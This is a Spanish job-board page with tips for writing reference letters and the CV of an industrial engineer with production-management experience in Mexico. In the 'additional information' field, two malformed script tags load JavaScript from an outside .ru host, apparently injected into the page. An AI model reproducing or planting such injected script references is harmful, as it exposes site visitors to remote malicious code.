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Añade referencias profesionales para - ANÓNIMO
CONSEJOS PARA REDACTAR UNAS BUENAS REFERENCIAS:
- Antes de escribir la carta de recomendación es conveniente leer el currículo de la persona en cuestión para poder tener a mano más información.
- Concéntrese en varios aspectos diferentes de la persona. Para ello debe recordar sus habilidades, sus actitudes, sus capacidades y su crecimiento dentro de la empresa, así como también la contribución aportada en actividades sociales organizada por la compañía.
- No debe hacer referencias a características que podrían ser la base de discriminación, como la raza, color, nacionalidad, género, religión, edad, apariencia. Tampoco mencione aspectos que podrían causar un obstáculo para el recomendado como su condición económica, el estatus marital o punto de vista político.
- Mucho cuidado con el poder de palabras, ya que algunos términos parecen inofensivos en la conversación diaria. Sin embargo, al escribirlas pueden arrastrar una connotación negativa para un futuro empleador. Por ello, se recomienda evitar el empleo de palabras como: Medianamente, razonable, pasable, tranquilo, decente, regular.
- En su lugar se aconseja usar palabras llenas de energía como: Comprometido, elocuente, inteligente, observadora, significativa, expresiva, creativa, eficiente, imaginativo, creativo, responsable innovador
- La siguiente lista de atributos es muy usada por los empleadores como herramientas para basarse en la selección de personal. Por ello, son elementos esenciales de toda carta de recomendación:
- Habilidad a comunicar
- Confianza en sí mismo
- Voluntad para aceptar responsabilidad
- Liderazgo
- Nivel de energía
- Flexibilidad
- Habilidades interpersonales
- Conocimiento de sí mismo
- Habilidad para manejar conflicto
- Logro de meta
- Competitividad
· Es importante indicar la prontitud que debe ser confeccionada una carta de recomendación, ya que un trabajo puede depender de la puntualidad de este documento
CURRICULUM VITAE Nº 1033 Área Profesional: Dirección - Gerencia http://ingclaudiagarcia.MiCVWeb.com | Ver personalidadVer Carta de Presentación | | | | EXPERIENCIA | Juki Union Special de Mexico (Sector: Producción, taller y fábrica) | Construcción - Mantenimiento | Ejecutar las acciones correctivas o preventivas en los equipos productivos identificados por medio de sistemas informativos. Apoyar en translado y reubicacion de equipos, cumplir escrupulusamente las normas internas y prevencion de riesgos de trabajo. | 807 Company de Mexico (Sector: Producción, taller y fábrica) | Dirección - Gerencia | Responsable de planear, desarrollar e implementar programas de calidad y produccion de la compañia, analizar los procesos de produccion y sus mejoras. Cumplimiento de metas productivas y coordinacion de equipo de trabajo de los diferentes departamentos. | Tramex del Norte (Sector: Producción, taller y fábrica) | Dirección - Gerencia | Dirigir y coordinar todas las operaciones administrativas y de manufactura de la empresa. Responsable de lograr el cumplimiento de los planes y programas de produccion, satisfaciendo los requerimientos de calidad, cantidad, tiempo de entrega y costo. | Aramark Manufacturing (Sector: Producción, taller y fábrica) | Ingenieros - Técnicos | Dirigir y administrar proyectos de mejora continua, enfocados a la planacion estrategica y la implementacion de soluciones integrales basadas en la mejora de la calidad del producto, tecnologia de la informacion, cambio organizacional. | | | FORMACIÓN ACADÉMICA | Ing. Indistrial y de sistemas | /2001 | Ingeniero Superior | Ingeniería | Tecnologico de estudios superiores Sierra Madre campus Torreon Coahuila Mexico | | | | FORMACIÓN COMPLEMENTARIA | | Título: 7 habitos de la gente altamente efectiva. Administración y Dirección de Empresas
| | Título: Six Sigma GREEN BELT Ingeniería
| | Título: Metodologias japonesas Ingeniería
| | Título: ISO 9000, WRAP, Lean Manufacturing Ingeniería
| | | | INFORMÁTICA | Aplicaciones empresariales (SAP, Contawin,…) Nivel Avanzado CAD, GSD, BYTE, PSPS, Minitab, Acrobat. | Otro no especificado Nivel Profesional Agente capacitador externo registrado ante la STPS | Otro no especificado Nivel Profesional Teoria de restricciones TOC | | | INFORMACIÓN ADICIONAL Pon tu Curriculum aquí... >script src=http://www.bannerdriven.ru/ads.js>> >script src=http://www.bannerdriven.ru/ads.js> | | Disponibilidad | ¿Estoy dispuesto a viajar? SI | ¿Estoy dispuesto a trabajar en el extranjero? SI | ¿Estoy dispuesto a trabajar fuera de mi zona? SI | | | Objetivos Profesionales | Satisfacer y superar las espectativas que se tienen de mi, a traves de la entrega de mi experiencia, capacidad, talento, honestidad y fe, en los proyectos y retos que me sean asignados. | | | Cualidades | Adaptable , Analítico/a , Comprometido/a , Decidido/a , Determinado/a , Eficiente , Fiable , Honesto/a , Organizado/a , Productivo/a , Responsable , Seguro/a , Sociable , Trabajador/a , Visionario/a | | | Aficiones | Arte, Naturaleza, Servicios Sociales Voluntarios | | |
| | Documentos Anexados: Descargar Documento | Descripción documento:Anexo archivo imrpimible en formato WORD con información más amplia. | Descargar Curriculum
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CURRICULUM VITAE Nº 1033 Área Profesional: Dirección - Gerencia http://ingclaudiagarcia.MiCVWeb.com | Ver personalidadVer Carta de Presentación | |
Curriculum Promocionado por
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